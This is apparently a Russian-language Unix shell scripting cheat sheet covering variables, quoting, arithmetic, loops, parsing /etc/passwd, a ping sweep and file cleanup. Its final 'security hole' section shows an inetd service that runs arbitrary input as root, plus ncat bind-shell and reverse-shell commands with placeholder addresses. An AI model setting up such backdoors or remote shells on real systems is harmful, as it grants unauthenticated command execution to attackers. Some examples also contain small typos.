Переменные:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
Принципы: EDITOR=nano crontab -e export http_proxy=http://ya.ru:3128 - объявляем глобальную переменную wget http://что_то_скачать - пытаемся воспользоваться wget Показать переменные: set - показывает все переменные окружения env - показывает переменные помеченные как экспортируемые Можно увидеть в настройках: login, sshd, telnetd, ~/.profile, ~/.cshrc и в других файлах. Переменные: HOME, SHELL, PATH, TERM. LOGNAME, USER, EDITOR, ENV и т.д. |
Примеры \ присвоения переменной:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
0. Переменную распознает программа 1. Переменную распознает шелл Пример как присваивается переменная: a=HEllo set | grep '^a' export a env | grep '^a' dir=/bin ls -l $dir echo $a a=pwd $a Примеры с кавычками: Различие между кавычками В одинарных кавычках содержимое выводится как есть. В двойных кавычках переменные исполняются. a='Hello World' echo $a a="Hello World" echo $a Обходимся без кавычек, экранирование пробела с помощь слеша: a=Hello\ World echo $a Примеры подстановки переменной: a="Hello" b=$a echo $b Пример с подстановкой переменно и работы одинарной кавычки Одинарные кавычки всегда передают значение как есть, то есть шелл проигнорирует переменную. b='$a World' echo $b Пример а если мы всё-таки хотим передать переменную: На помощь приходят двойные кавычки: b="$a World" echo $b Экранирование(слеш): Слеш отменяет действие многих спец символов. b=$a\ world echo $b b=\$a\ World echo $b b=$aWorld echo $b b=${a}World echo $a echo $b Значения переменных рекомендуется брать в фигурные скобки. b=${a}World echo $a echo $b |
Арифметика
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
!!! шелл оперирует переменными окружениями !!! Арифметики не будет при таких записях: a=3+6 echo $a a=222 b=333 c=${a}${b} echo $c c=${a}+${b} echo $c !!! Арифметике быть! Для арифметических действий используется конструкция из скобок $(( выражение )) a=$((3+6)) a=$(($a*6)) А если сделать вот так: c=((${a}+${b})) c=$((${a}+${b})) echo $c Программа для арифметики expr: a=1 a=$(expr $a + 1) echo $a |
Применение переменных с программами:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
` - обратный апостроф ( не путать с одинарной кавычкой) ` - служит для выполнения команды `команда` - выполнится команда внутри апострофов $(команда) - ведет себя аналогично при использовании обратного апострофа (`) dir='pwd' echo $dir d=$(date) echo $d x=`date '+%Y.%m.%d'` echo $x z=$(date '+%Y.%m.%d') echo $z c=`ps -uaxf | grep sshd |grep -v grep` echo $c сгенерировать случайное число rnd=`jot -r 1 1 10` Сгенерировать число от 1 до 10 gen10=`seq 10` echo $gen10 filecount=`ls/bin | wc -l` echo $filecount |
Ввод пользователя
1 2 3 4 5 6 |
Программа read, ожидает ввода пользователя и сохраняет в переменную read a echo $a Пример использования: echo -n "Enter Name: "; read a; echo Hello "$a" |
Подстановки в файл:
1 2 3 4 5 6 7 |
Речь идет о спец символах * ? и т.д. echo /bin/c* - покажет все файлы начинающиеся на c cat - можно редактировать и смотреть файлы (при использовании <>) file - команда позволяет определить тип файла, что бы случайно не открыть бинарный файл |
Чтение переменных с исключением
1 2 3 4 5 6 7 8 9 10 |
0. Пример исключаем суффикс sample при выводе переменной i i=sip.conf.sample echo $i echo ${i} echo ${i%.sample} 1. Пример исключить (GET /) при выводе переменной i i='GET /index.html' echo ${i#GET /} |
Удаление переменной
1 2 3 |
unset CLICOLOR unset EDITOR unset http_proxy |
Объединение команд (;)
1 2 |
echo -n "Enter Name: "; read a; echo Hello "$a" sleep 3; echo -e "\007" |
Последовательные команды в текстовом файле
1 2 3 4 5 6 7 8 9 10 11 12 13 |
Пример файла: vim 1.txt --------- echo -n "Enter Name: " read p echo Hello "$p" --------- Пример выполнения 1: sh 1.txt - запасаем новый шелл и выполняем файл 1.txt Пример выполнения 2: . 1.txt - точка говорит выполнить в текущем контексте шелла файл 1.txt |
Последовательные команды в выполняемом файле
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
Пример файла f2.sh: ------------- #!/bin/sh echo -n "Enter Name: " read p echo Hello "$p !!!" ------------- Выполнение: chmod u+x f2.sh - даем права на выполнения файла f2.sh - выполняем файл при условии если он расположен в PATH /home/user/f2.sh ./f2.sh sh f2.sh . f2.sh |
Функции:
1 |
function () |
Специальные символы
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
$? - коды возврата [ - это программа сравнения, и если выполнить (which [) мы увидим что программа называется test и она возвращает 1 или 0, код возврата можно увидеть по echo $? man [ test 6 -lt 3 echo $? $1 - аргумент запуска программы $2 - аргумент запуска программы $3 - аргумент запуска программы Пример работы: agr.sh - создаем скрипт -------------- echo $2 $3 $1 -------------- Ну и проверяем: . agr.sh aaa bbb ccc && - если программа этого символом && выполнилась успешно выполняй следующую после этого символа && # - комментарий Операторы равенства: eq равно (=) (Equals) ne не равно (!=) (Not equal) Операторы диапазона: gt больше (>) (Greater than) lt меньше (<) (Less than) ge больше или равно (=>) (Equal or greater than) le меньше или равно (=<) (Equal or less than) Во многих языках программирования двоеточие (:) означает истина (True) и возвращает 0 Задать символ разделитель с помощью IFS IFS=: |
Целочисленный цикл while пример на ping
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
0. Пример в файле ex2.sh: --------------- # Пример цикла выполнять до i=1 while [ $i -lt 254 ] do #test $i = 50 && continue ping -c 1 -W 1 $1.$i > /dev/null 2>&1 && echo $1.$i i=$(($i + 1)) done --------------- Запуск: ex2.sh 192.168.1 1. Пример в файле ex3.sh: --------------- # Пример цикла выполнять до i=1 while : do ping -c 1 -W 1 $1.$i > /dev/null 2>&1 && echo $1.$i i=$(($i + 1)) test $i -eq 254 && break # прервет цикл done --------------- |
Примеры цикла for:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
Пример показать все файлы заканчивающийся на (*.txt) : for i in *.txt; do echo $i; done Пример массового переименования: for in in *sample; do cp $i ${i%.sample}; done Пример что бы показать что списком может быть что угодно: for i in `ps -aux | awk '{print $1,$11}'`; do echo $i; done Пример создаем пустые файлы *.txt: for i in 1 2 3 4 5 6 7 8 9 10; do touch $i.txt; done Пример создаем пустые файлы *.txt: for i in 1 2 3 4 5 6 7 8 9 10; do touch $i.txt; done Пример создаем пустые файлы *.txt: for i in $(for((i=1; i<11; i++)) do echo $i; done); do echo > $i.txt; done Пример создания списка ip: for ipz in $(for((i=1; i< 255; i++));do echo $i; done) ; do echo 192.168.15.$ipz >> ip_files.txt ; done Пример использования списка ip и применения команды ping: for pingz in $(cut ip_files.txt); do ping -c1 $pingz ; done Пример как показать все crontab всех пользователей: for user in $(cut -d':' -f1 /etc/passwd); do crontab -u $user -l; done Пример вытаскиваем первое поле из файла и подставляем перед ним user: for i in `cut -d: -f1 /etc/passwd`; do echo user $i; done Пример перемещения файлов используя список: for x in catalog director messages user fileset client job jobdefs pool schedule storage use; do mv /etc/bareos/bareos-dir.d/${x} tmp/bareos-dir.d/; done |
Чтение из файлов, парсинг файлов, while, for:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
Пример использования IFS, перенаправления в read ------------------------ #!/bin/sh IFS=: while read a b c d e f g do echo "$a $g" done < /etc/passwd ------------------------ Пример с использованием for ------------------------ #!/bin/sh for i in `cut -d: -f1 /etc/passwd` do echo user $i done ------------------------ |
Пример for, while
1 2 3 4 5 6 |
!!! ls создается список файлов !!! echo и cat, на stdout выводится список файлов и показывается содержимое файла Пример 1: for i in `ls` ; do echo -e "\\n#### $i \\n" && cat $i ; done Пример 2: ls * | while read file ; do echo "$file" && cat "$file" ; done |
Пример (while read LINE), удаление файлов:
1 2 3 4 5 6 7 8 9 |
!!!find /dir/dir2/dir3 -type f -mtime +1 -name "*.broken" -delete >/dev/null 2>/dev/null - ищем файлы в каталоге (/dir/dir2/dir3) в имени которых встречается "*.broken" и молча их удаляем (>/dev/null 2>/dev/null) !!!find /dir/dir2/ -mindepth 1 -maxdepth 1 -ctime +5 -type d -delete - ищем каталоги в каталоге (/dir/dir2/) старше 5 дней и удаляем их Пример скрипта: /usr/bin/find /dir/dir2/dir3 -mindepth 1 -maxdepth 1 -ctime +2 -type d | sort -n | head -n-3 | while read LINE; do echo "[/dir1/dir2/dir3] ${LINE}" rm -rf "${LINE}" done |
Пример дыры в безопасности:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
!!! для работы понадобится openbsd-inetd (суперсервер inetd) !!! настроить его !!! номер_порта stream tcp nowait имя_пользователя /путь_скрипта имя_скрипта !!! 1234 stream tcp nowait root /root/cmd.sh smd.sh vim cmd.sh ---------------- #!/bin/sh while read cmd do $cmd done ---------------- В Ncat Для создания шелла на удалённом компьютере: ncat -l -e "/bin/bash" [ПОРТ] Для подключения к нему с локального компьютера: ncat [IP] [ПОРТ] Перед созданием обратного шелла, предварительно на локальном компьютере нужно выполнить: ncat -l [ПОРТ] Затем для создания обратного шелла с удалённого компьютера там нужно выполнить: ncat -e "/bin/bash" [IP] [ПОРТ] |